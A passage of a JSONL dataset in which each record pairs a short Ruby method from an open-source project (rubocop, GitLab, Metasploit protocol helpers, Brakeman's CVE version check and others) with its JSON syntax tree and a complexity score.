:"27262715-5f72-4a9a-acda-a9f2bd09e429"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_validator.rb","start_line":243,"raw_source":"def reject_mutually_exclusive_defaults\n disabled_by_default = for_all_cops['DisabledByDefault']\n enabled_by_default = for_all_cops['EnabledByDefault']\n return unless disabled_by_default && enabled_by_default\n\n msg = 'Cops cannot be both enabled by default and disabled by default'\n raise ValidationError, msg\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_mutually_exclusive_defaults\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"disabled_by_default\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DisabledByDefault\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enabled_by_default\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_all_cops\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnabledByDefault\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disabled_by_default\"]},{\"type\":\"lvar\",\"children\":[\"enabled_by_default\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"Cops cannot be both enabled by default and disabled by default\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ValidationError\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}","id":"24b8abe7-edb6-4986-9603-9baa1b57a4f2"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/discord/bot/search.rb","start_line":6,"raw_source":"def initialize(body)\n @search = DiscourseAi::Personas::Tools::Search\n super(body)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@search\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Tools\"]},\"Search\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"783d6f2e-9623-4425-9d1e-c1953899aa34"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/ping_ack.rb","start_line":22,"raw_source":"def decode_stream_id(io)\n stream_id = read_byte(io)\n unless stream_id == PING_ACK\n raise Rex::Proto::Rmi::DecodeError, 'Failed to decode PingAck stream id'\n end\n\n stream_id\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_stream_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream_id\",{\"type\":\"send\",\"children\":[null,\"read_byte\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream_id\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"PING_ACK\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Rmi\"]},\"DecodeError\"]},{\"type\":\"str\",\"children\":[\"Failed to decode PingAck stream id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"stream_id\"]}]}]}","id":"673ea803-d64d-4266-b644-a180276cb09c"} {"repo_name":"forem","file_path":"./repos/forem/app/services/content_renderer.rb","start_line":56,"raw_source":"def process_article\n fixed = fixer.call(input)\n parsed = front_matter_parser.call(fixed)\n front_matter = parsed.front_matter\n processed = processor.new(parsed.content, source: source, user: user)\n\n reading_time = processed.calculate_reading_time\n\n processed_html = processed.finalize\n\n Result.new(front_matter: front_matter, processed_html: processed_html, reading_time: reading_time)\n rescue StandardError => e\n raise ContentParsingError, e.message\n end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process_article\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fixed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixer\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"input\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parsed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"front_matter_parser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"fixed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"front_matter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"front_matter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"processed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processor\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[null,\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reading_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed\"]},\"calculate_reading_time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"processed_html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed\"]},\"finalize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"front_matter\"]},{\"type\":\"lvar\",\"children\":[\"front_matter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"processed_html\"]},{\"type\":\"lvar\",\"children\":[\"processed_html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reading_time\"]},{\"type\":\"lvar\",\"children\":[\"reading_time\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ContentParsingError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"e62391d1-0d5f-4088-ba37-6cb5fd514e27"} {"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/memoized_helpers.rb","start_line":201,"raw_source":"def self.isolate_for_context_hook(example_group_instance)\n exploding_memoized = self\n\n example_group_instance.instance_exec do\n @__memoized = exploding_memoized\n\n begin\n yield\n ensure\n # This is doing a reset instead of just isolating for context hook.\n # Really, this should set the old @__memoized back into place.\n #\n # Caller is the before and after context hooks\n # which are both called from self.run\n # I didn't look at why it made tests fail, maybe an object was getting reused in RSpec tests,\n # if so, then that probably already works, and its the tests that are wrong.\n __init_memoized\n end\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"isolate_for_context_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example_group_instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exploding_memoized\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_group_instance\"]},\"instance_exec\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@__memoized\",{\"type\":\"lvar\",\"children\":[\"exploding_memoized\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"__init_memoized\"]}]}]}]}]}]}]}","id":"fdfdb2da-d978-4011-ba59-90607c239481"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/error_tracking/error.rb","start_line":61,"raw_source":"def title\n if description.present?\n \"#{name} #{description}\"\n else\n name\n end\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]}]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}","id":"29ff5348-c323-4129-bfe9-371cf17f5c97"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/mqtt.rb","start_line":25,"raw_source":"def setup\n fail_with(Msf::Exploit::Failure::BadConfig, 'READ_TIMEOUT must be > 0') if read_timeout <= 0\n\n client_id_arg = datastore['CLIENT_ID']\n if client_id_arg && client_id_arg.blank?\n fail_with(Msf::Exploit::Failure::BadConfig, 'CLIENT_ID must be a non-empty string')\n end\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_timeout\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"READ_TIMEOUT must be > 0\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"client_id_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CLIENT_ID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_id_arg\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_id_arg\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"CLIENT_ID must be a non-empty string\"]}]},null]}]}]}","id":"5546fd9a-9eea-4949-9a71-7d9ee1ffd77e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/projects/lfs_pointers/lfs_download_link_list_service_spec.rb","start_line":86,"raw_source":"def stub_request(batch, response)\n expect(Import::Clients::HTTP).to receive(:post).with(\n remote_uri,\n {\n body: { operation: 'download', objects: batch.map { |k, v| { oid: k, size: v } } }.to_json,\n headers: subject.send(:headers)\n }\n ).and_return(response)\n end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]},{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"Clients\"]},\"HTTP\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"post\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"remote_uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation\"]},{\"type\":\"str\",\"children\":[\"download\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"objects\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oid\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"send\",{\"type\":\"sym\",\"children\":[\"headers\"]}]}]}]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"4ebb4216-70af-493a-a2fc-8f41706a19c7"} {"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/reloader.rb","start_line":188,"raw_source":"def update\n @mtime = File.mtime(path)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@mtime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"mtime\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]}]}","id":"0bc69fb6-4b88-4c70-92bd-b660409606a7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/explore/ci_cd_catalog.rb","start_line":49,"raw_source":"def switch_catalog_sorting_option(option)\n click_element('catalog-sorting-option-button')\n find(\"[data-testid='listbox-item-#{option}']\").click\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_catalog_sorting_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"catalog-sorting-option-button\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-testid='listbox-item-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]},\"click\"]}]}]}","id":"ea9c7c9e-31b1-45da-b917-149f19590d3f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/active_record.rb","start_line":109,"raw_source":"def increment_db_role_counters(db_role, payload, cached_query:, select_sql_command:)\n db_config_name = db_config_name(payload)\n\n increment(:count, db_role: db_role, db_config_name: db_config_name)\n increment(:cached_count, db_role: db_role, db_config_name: db_config_name) if cached_query\n increment(:write_count, db_role: db_role, db_config_name: db_config_name) unless select_sql_command\n\n if wal_command?(payload)\n increment(:wal_count, db_role: db_role, db_config_name: db_config_name)\n increment(:wal_cached_count, db_role: db_role, db_config_name: db_config_name) if cached_query\n end\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_db_role_counters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_role\"]},{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"kwarg\",\"children\":[\"cached_query\"]},{\"type\":\"kwarg\",\"children\":[\"select_sql_command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_config_name\",{\"type\":\"send\",\"children\":[null,\"db_config_name\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"increment\",{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_role\"]},{\"type\":\"lvar\",\"children\":[\"db_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_config_name\"]},{\"type\":\"lvar\",\"children\":[\"db_config_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_query\"]},{\"type\":\"send\",\"children\":[null,\"increment\",{\"type\":\"sym\",\"children\":[\"cached_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_role\"]},{\"type\":\"lvar\",\"children\":[\"db_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_config_name\"]},{\"type\":\"lvar\",\"children\":[\"db_config_name\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"select_sql_command\"]},null,{\"type\":\"send\",\"children\":[null,\"increment\",{\"type\":\"sym\",\"children\":[\"write_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_role\"]},{\"type\":\"lvar\",\"children\":[\"db_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_config_name\"]},{\"type\":\"lvar\",\"children\":[\"db_config_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wal_command?\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"increment\",{\"type\":\"sym\",\"children\":[\"wal_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_role\"]},{\"type\":\"lvar\",\"children\":[\"db_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_config_name\"]},{\"type\":\"lvar\",\"children\":[\"db_config_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_query\"]},{\"type\":\"send\",\"children\":[null,\"increment\",{\"type\":\"sym\",\"children\":[\"wal_cached_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_role\"]},{\"type\":\"lvar\",\"children\":[\"db_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db_config_name\"]},{\"type\":\"lvar\",\"children\":[\"db_config_name\"]}]}]}]},null]}]},null]}]}]}","id":"3c218097-c09b-430b-aca5-f4c134684f9a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/settings/toggle_public_dialog_component.rb","start_line":36,"raw_source":"def initialize(project, back_url: nil)\n super\n\n @project = project\n @back_url = back_url\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"kwoptarg\",\"children\":[\"back_url\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@back_url\",{\"type\":\"lvar\",\"children\":[\"back_url\"]}]}]}]}","id":"007468b1-0f8f-437d-a1b8-112c8ccf6667"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/restore_executor.rb","start_line":60,"raw_source":"def execute_all_tasks\n tasks = []\n Gitlab::Backup::Cli::Tasks.build_each(context: context) do |task|\n # This is a temporary hack while we move away from options and use config instead\n # This hack will be removed as part of https://gitlab.com/gitlab-org/gitlab/-/issues/498455\n task.set_registry_bucket(registry_bucket) if task.is_a?(Gitlab::Backup::Cli::Tasks::Registry)\n\n Gitlab::Backup::Cli::Output.info(\"Executing restoration of #{task.human_name}...\")\n\n duration = measure_duration do\n tasks << { name: task.human_name, result: task.restore!(archive_directory) }\n end\n\n next if task.object_storage?\n\n Gitlab::Backup::Cli::Output.success(\"Finished restoration of #{task.human_name}! (#{duration.in_seconds}s)\")\n end\n\n if wait_for_completion\n tasks.each do |task|\n next unless task[:result].respond_to?(:wait_until_done)\n\n wait_for_task(task[:result])\n end\n else\n Gitlab::Backup::Cli::Output.info(\"Restore tasks complete! Not waiting for object storage tasks to complete\")\n end\n end","complexity_score":40.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_all_tasks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tasks\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Tasks\"]},\"build_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Tasks\"]},\"Registry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"set_registry_bucket\",{\"type\":\"send\",\"children\":[null,\"registry_bucket\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing restoration of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"human_name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duration\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"measure_duration\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasks\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"human_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"restore!\",{\"type\":\"send\",\"children\":[null,\"archive_directory\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"object_storage?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished restoration of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"human_name\"]}]},{\"type\":\"str\",\"children\":[\"! (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},\"in_seconds\"]}]},{\"type\":\"str\",\"children\":[\"s)\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_completion\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tasks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"wait_until_done\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_task\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Output\"]},\"info\",{\"type\":\"str\",\"children\":[\"Restore tasks complete! Not waiting for object storage tasks to complete\"]}]}]}]}]}","id":"78d84ab6-539e-4d81-8bbb-f1fd62d628b7"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_file_disclosure.rb","start_line":8,"raw_source":"def run_check\n fix_version = case\n when version_between?('2.0.0', '2.3.18')\n '3.2.21'\n when version_between?('3.0.0', '3.2.20')\n '3.2.21'\n when version_between?('4.0.0', '4.0.11')\n '4.0.12'\n when version_between?('4.1.0', '4.1.7')\n '4.1.8'\n else\n nil\n end\n\n if fix_version and serves_static_assets?\n warn :warning_type => \"File Access\",\n :warning_code => :CVE_2014_7829,\n :message => msg(msg_version(rails_version), \" has a file existence disclosure vulnerability. Upgrade to \", msg_version(fix_version), \" or disable serving static assets\"),\n :confidence => :high,\n :gem_info => gemfile_or_environment,\n :link_path => \"https://groups.google.com/d/msg/rubyonrails-security/23fiuwb1NBA/MQVM1-5GkPMJ\",\n :cwe_id => [22]\n end\n end","complexity_score":23.03,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fix_version\",{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.18\"]}]},{\"type\":\"str\",\"children\":[\"3.2.21\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.2.20\"]}]},{\"type\":\"str\",\"children\":[\"3.2.21\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"4.0.0\"]},{\"type\":\"str\",\"children\":[\"4.0.11\"]}]},{\"type\":\"str\",\"children\":[\"4.0.12\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"4.1.0\"]},{\"type\":\"str\",\"children\":[\"4.1.7\"]}]},{\"type\":\"str\",\"children\":[\"4.1.8\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fix_version\"]},{\"type\":\"send\",\"children\":[null,\"serves_static_assets?\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"File 